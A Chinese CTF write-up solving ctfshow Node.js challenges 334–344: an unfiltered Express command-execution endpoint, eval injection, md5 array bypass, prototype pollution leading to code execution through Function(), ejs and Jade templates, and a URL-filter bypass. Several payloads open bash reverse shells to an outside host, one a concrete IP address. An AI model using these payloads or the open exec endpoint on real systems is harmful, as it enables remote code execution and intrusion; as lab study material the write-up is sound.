Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

exec()函数执行任意命令

在服务器上传main.js

const express = require("express");
const { exec } = require("child_process");
const app = express();

// 完全开放的命令执行接口(仅限本地测试!)
app.get("/eval", (req, res) => {
    const userCommand = req.query.q;

    console.log(`[EXEC] ${new Date().toISOString()} 执行命令: ${userCommand}`); // 记录日志

    // 执行任意命令(无过滤)
    exec(userCommand, { shell: true }, (error, stdout, stderr) => {
        if (error) {
            console.error(`[ERROR] ${error.message}`);
            return res.send(`ERROR: ${error.message}\n${stderr}`);
        }
        res.send(stdout || "Command executed (no output)");
    });
});

// 监听所有网络接口(0.0.0.0),允许外部访问
app.listen(7777, "0.0.0.0", () => {
    console.log(`
访问地址: http://vps:7777/eval?q=命令
    `);
});
python3 -m http.server 7777
node main.js

可以看到执行任意命令

334

在user.js发现username: 'CTFSHOW', password: '123456'

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

toUpperCase()函数可以将字母转为大写,这里name不能直接等于CTFSHOW,但是经过 item.username === name.toUpperCase()后ctfshow就会转为大写,从而和CTFSHOW匹配

username=ctfshow
password=123456

335-336

在源代码提示用eval传参,这里尝试了一下,传整型回显数字,传字符串回显404 找不到文件,

nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
相当于ls,必须有['.'],可以改成['/'],相当于ls /
require('child_process') - 引入 Node.js 的子进程模块
.spawnSync('ls', ['.']) - 同步执行 ls 命令(列出目录内容),参数 ['.'] 表示列出当前目录
.stdout - 获取命令执行的标准输出流(Buffer 对象)
.toString() - 将 Buffer 转换为字符串
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
          res.end(flag);
  }else{
          res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

md5强比较

?a[]=1&b[]=1

338(普通污染,属性继承)

给了个源码

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }  
});
 
module.exports = router;

var secert =和 let user =都是普通对象,默认继承自 Object.prototype

通过 utils.copy(user, req.body),攻击者可以控制 user 的原型链

{
  "__proto__": {
    "ctfshow": "36dboy"
  }
}

utils.copy() 会将 proto 属性复制到 user 对象

由于 proto 是特殊属性,实际修改的是 Object.prototype(所有对象的基类)

类似于:

secert 和 user 是兄弟,他们的父亲是 Object.prototype
通过 user 给父亲(Object.prototype)植入一个特征(ctfshow)
secert 自己没有这个特征,但会从父亲那里继承

相当于secert.ctfshow=36dboy,一定要带上用户名的密码

{
"username":"aaa",
"password":"aaa",
"__proto__": {
    "ctfshow": "36dboy"
  }
}

339

可以看这个师傅的文章

https://xz.aliyun.com/news/6780

在/routes/login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
  this.username='';
  this.password='';
}
function normalUser(){
  this.user
}


/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;
utils.copy(user, req.body)

直接将用户提交的数据复制到user对象

/routes/app.js中

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

module.exports = router;

这是Express路由处理程序,当发POST包的时候,就会自动执行

{ query: Function(query)(query) }

Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新的函数可以接受任意数量的参数,并执行query字符串中的JavaScript代码。

而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个语句的结果。

res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是query,那么他就会自动去Object寻找值并返回。

所以我们只要让Object.prototype下面的query的值为我们想要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行。

第一个 query:你告诉机器人"用这段话作为程序代码"(函数体)。
第二个 query:你告诉机器人"运行程序时把这段话作为输入"(参数)。
第三个 query:这段话完全来自用户输入(用户让你做什么就做什么)。

原型污染

{
"username": "aaaa",
"password": "aaaa", 
  "__proto__": {
  "query": "恶意代码"
  }
}

通过 proto 属性污染 Object.prototype,使得所有JavaScript对象都会继承 query 属性。

utils.copy(user, req.body); 就会导致所有对象的 query 属性被篡改。

rce,这里必须要反弹shell到自己的服务器执行,如果用ls这种普通命令,结果将会丢失,原Payload中的 exec 没有处理回调

"query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/vps/2333 0>&1\"')"

先通过login.js中的utils.copy(user, req.body)来污染query,在/login下用POST传

{
"username":"aaaa",
"password":"aaaa",
"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >&/dev/tcp/vps/2333 0>&1\"')"}
}

再通过POST访问api自动执行

成功连上,找到/routes/login.js

340

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

module.exports = router;

对比上一题

 utils.copy(user,req.body);
 utils.copy(user.userinfo,req.body);

这里要污染两级,先污染 user 对象的 userinfo 属性,使其变成一个可控对象。

再污染 userinfo 对象的内部属性(如 query)。

{
"username":"aaa",
"password":"aaa",
"__proto__":{
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/2333 0>&1\"')"}
}
}

341(原型链污染)

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: '登录成功'});  
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
});

module.exports = router;

在api.js中发现没有{ query: Function(query)(query) },那就不能污染query,但是开启了ejs

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');
https://xz.aliyun.com/news/5725

考虑原型链污染

在 JavaScript 中,每个对象都有一个隐藏的 proto 属性,指向它的原型对象(prototype)。当访问一个对象的属性时,如果对象本身没有这个属性,JavaScript 会沿着 proto 向上查找,直到找到该属性或到达顶层(Object.prototype)。这种查找机制就是原型链。

攻击者通过篡改 Object.prototype(或其他对象的原型),使得所有对象都继承被污染的属性,从而影响程序行为。

我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null为止。所以修改对象的某个父类的prototype的原型就可以通过原型链影响到跟此类有关的所有对象。

{"__proto__":{
"__proto__{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/2333 0>&1\"');var __tmp2"}}}

在环境变量里面,感觉环境有点问题吧,这题就连上了一次

342-343(Jade模版的原型链污染)

这里是Jade模版的原型链污染,访问的时候将"Content-Type"改为"application/json"

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/1.95.38.189/2333 0>&1\"');//"}}}

344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
          res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
          res.end(flag);
  }else{
          res.end('where is flag. :)');
  }

});

正常传

?query={"name":"admin","password":"ctfshow","isVIP":true}

但是过滤,用"query="拼接,c要编码为%63,因为"编码为%22,之后%22c会和2c进行匹配

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
此作者没有提供个人介绍。
最后更新于 2025-07-24